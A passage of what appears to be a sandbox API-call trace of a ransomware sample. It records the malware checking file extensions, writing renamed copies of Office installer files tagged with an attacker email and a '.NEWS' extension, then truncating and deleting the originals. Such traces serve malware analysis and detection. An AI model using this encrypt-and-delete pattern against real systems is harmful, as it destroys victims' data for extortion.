lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.627] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.627] WriteFile (in: hFile=0x1f4, lpBuffer=0x3f85880*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f85880*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.634] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3f85880 | out: hHeap=0x5c0000) returned 1 [0054.634] CloseHandle (hObject=0x1f4) returned 1 [0056.102] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0056.103] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0056.103] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0056.103] lstrlenW (lpString=".doc") returned 4 [0056.103] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0056.103] lstrlenW (lpString=".docx") returned 5 [0056.103] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0056.103] lstrlenW (lpString=".pdf") returned 4 [0056.103] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0056.103] lstrlenW (lpString=".xls") returned 4 [0056.103] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0056.103] lstrlenW (lpString=".xlsx") returned 5 [0056.103] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0056.103] lstrlenW (lpString=".ppt") returned 4 [0056.103] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0056.103] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0056.103] lstrlenW (lpString=".zip") returned 4 [0056.103] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0056.103] lstrlenW (lpString=".rar") returned 4 [0056.103] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0056.104] lstrlenW (lpString=".bz2") returned 4 [0056.104] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0056.104] lstrlenW (lpString=".7z") returned 3 [0056.104] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0056.104] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0056.104] lstrlenW (lpString=".dbf") returned 4 [0056.104] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0056.104] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0056.104] lstrlenW (lpString=".1cd") returned 4 [0056.104] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0056.104] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0056.104] lstrlenW (lpString=".jpg") returned 4 [0056.104] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0056.104] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0056.104] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0056.104] lstrlenW (lpString=".doc") returned 4 [0056.104] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0056.104] lstrlenW (lpString=".docx") returned 5 [0056.104] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0056.104] lstrlenW (lpString=".pdf") returned 4 [0056.104] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0056.105] lstrlenW (lpString=".xls") returned 4 [0056.105] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0056.105] lstrlenW (lpString=".xlsx") returned 5 [0056.105] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0056.105] lstrlenW (lpString=".ppt") returned 4 [0056.105] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0056.105] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0056.105] lstrlenW (lpString=".zip") returned 4 [0056.105] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0056.105] lstrlenW (lpString=".rar") returned 4 [0056.105] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0056.105] lstrlenW (lpString=".bz2") returned 4 [0056.105] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0056.105] lstrlenW (lpString=".7z") returned 3 [0056.105] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0056.105] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0056.105] lstrlenW (lpString=".dbf") returned 4 [0056.105] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0056.105] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0056.105] lstrlenW (lpString=".1cd") returned 4 [0056.105] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0056.105] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0056.105] lstrlenW (lpString=".jpg") returned 4 [0056.106] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0056.106] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0056.106] lstrlenW (lpString="Proof.msi") returned 9 [0056.106] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0056.106] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x391ff1c | out: lpFileSize=0x391ff1c*=875520) returned 1 [0056.106] CloseHandle (hObject=0x1f4) returned 1 [0056.106] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 0x2020 [0056.107] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0056.107] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0056.107] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.107] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.107] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0056.107] GetLastError () returned 0x0 [0056.107] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x391fed4*=0xd5c00, lpOverlapped=0x0) returned 1 [0056.141] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xd5c10, lpNumberOfBytesWritten=0x391fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fc9c*=0xd5c10, lpOverlapped=0x0) returned 1 [0056.446] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x391fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.446] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x391fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0056.446] SetEndOfFile (hFile=0x1ac) returned 1 [0056.447] CloseHandle (hObject=0x1ac) returned 1 [0056.691] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.691] SetEndOfFile (hFile=0x1f4) returned 1 [0056.705] CloseHandle (hObject=0x1f4) returned 1 [0056.706] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0056.706] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 1 [0056.706] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0056.706] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0056.706] lstrlenW (lpString=".doc") returned 4 [0056.706] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0056.707] lstrlenW (lpString=".docx") returned 5 [0056.707] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0056.707] lstrlenW (lpString=".pdf") returned 4 [0056.707] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0056.707] lstrlenW (lpString=".xls") returned 4 [0056.707] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0056.707] lstrlenW (lpString=".xlsx") returned 5 [0056.707] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0056.707] lstrlenW (lpString=".ppt") returned 4 [0056.707] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0056.707] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0056.707] lstrlenW (lpString=".zip") returned 4 [0056.707] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0056.707] lstrlenW (lpString=".rar") returned 4 [0056.707] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0056.707] lstrlenW (lpString=".bz2") returned 4 [0056.707] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0056.707] lstrlenW (lpString=".7z") returned 3 [0056.707] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0056.707] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0056.708] lstrlenW (lpString=".dbf") returned 4 [0056.708] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0056.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0056.708] lstrlenW (lpString=".1cd") returned 4 [0056.708] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0056.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0056.708] lstrlenW (lpString=".jpg") returned 4 [0056.708] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0056.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0056.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0056.708] lstrlenW (lpString=".doc") returned 4 [0056.708] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0056.708] lstrlenW (lpString=".docx") returned 5 [0056.708] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0056.708] lstrlenW (lpString=".pdf") returned 4 [0056.708] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0056.708] lstrlenW (lpString=".xls") returned 4 [0056.708] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0056.708] lstrlenW (lpString=".xlsx") returned 5 [0056.708] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0056.708] lstrlenW (lpString=".ppt") returned 4 [0056.709] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0056.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0056.709] lstrlenW (lpString=".zip") returned 4 [0056.709] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0056.709] lstrlenW (lpString=".rar") returned 4 [0056.709] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0056.709] lstrlenW (lpString=".bz2") returned 4 [0056.709] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0056.709] lstrlenW (lpString=".7z") returned 3 [0056.709] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0056.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0056.709] lstrlenW (lpString=".dbf") returned 4 [0056.709] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0056.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0056.709] lstrlenW (lpString=".1cd") returned 4 [0056.709] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0056.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0056.709] lstrlenW (lpString=".jpg") returned 4 [0056.709] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0056.710] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0056.710] lstrlenW (lpString="Proof.msi") returned 9 [0056.710] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0056.710] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x391ff1c | out: lpFileSize=0x391ff1c*=881152) returned 1 [0056.710] CloseHandle (hObject=0x1f4) returned 1 [0056.710] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 0x2020 [0056.710] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0056.711] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0056.711] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.711] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.711] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0056.711] GetLastError () returned 0x0 [0056.711] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x391fed4*=0xd7200, lpOverlapped=0x0) returned 1 [0056.880] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xd7210, lpNumberOfBytesWritten=0x391fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fc9c*=0xd7210, lpOverlapped=0x0) returned 1 [0057.145] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x391fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.145] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x391fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0057.145] SetEndOfFile (hFile=0x1ac) returned 1 [0057.145] CloseHandle (hObject=0x1ac) returned 1 [0057.160] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.160] SetEndOfFile (hFile=0x1f4) returned 1 [0057.174] CloseHandle (hObject=0x1f4) returned 1 [0057.174] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0057.175] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 1 [0057.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0057.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0057.175] lstrlenW (lpString=".doc") returned 4 [0057.175] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0057.175] lstrlenW (lpString=".docx") returned 5 [0057.175] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0057.175] lstrlenW (lpString=".pdf") returned 4 [0057.175] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0057.175] lstrlenW (lpString=".xls") returned 4 [0057.175] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0057.175] lstrlenW (lpString=".xlsx") returned 5 [0057.176] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0057.176] lstrlenW (lpString=".ppt") returned 4 [0057.176] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0057.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0057.176] lstrlenW (lpString=".zip") returned 4 [0057.176] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0057.176] lstrlenW (lpString=".rar") returned 4 [0057.176] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0057.176] lstrlenW (lpString=".bz2") returned 4 [0057.176] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0057.176] lstrlenW (lpString=".7z") returned 3 [0057.176] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0057.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0057.176] lstrlenW (lpString=".dbf") returned 4 [0057.176] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0057.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0057.176] lstrlenW (lpString=".1cd") returned 4 [0057.176] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0057.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0057.176] lstrlenW (lpString=".jpg") returned 4 [0057.176] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0057.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0057.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0057.177] lstrlenW (lpString=".doc") returned 4 [0057.177] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0057.177] lstrlenW (lpString=".docx") returned 5 [0057.177] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0057.177] lstrlenW (lpString=".pdf") returned 4 [0057.177] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0057.177] lstrlenW (lpString=".xls") returned 4 [0057.177] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0057.177] lstrlenW (lpString=".xlsx") returned 5 [0057.177] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0057.177] lstrlenW (lpString=".ppt") returned 4 [0057.177] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0057.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0057.177] lstrlenW (lpString=".zip") returned 4 [0057.177] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0057.177] lstrlenW (lpString=".rar") returned 4 [0057.177] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0057.177] lstrlenW (lpString=".bz2") returned 4 [0057.177] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0057.178] lstrlenW (lpString=".7z") returned 3 [0057.178] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0057.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0057.178] lstrlenW (lpString=".dbf") returned 4 [0057.178] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0057.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0057.178] lstrlenW (lpString=".1cd") returned 4 [0057.178] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0057.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0057.178] lstrlenW (lpString=".jpg") returned 4 [0057.178] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0057.178] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0057.178] lstrlenW (lpString="Proof.msi") returned 9 [0057.178] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0057.179] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x391ff1c | out: lpFileSize=0x391ff1c*=885760) returned 1 [0057.179] CloseHandle (hObject=0x1f4) returned 1 [0057.179] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 0x2020 [0057.179] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0057.179] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0057.179] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.179] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.180] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0057.180] GetLastError () returned 0x0 [0057.180] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d90020, 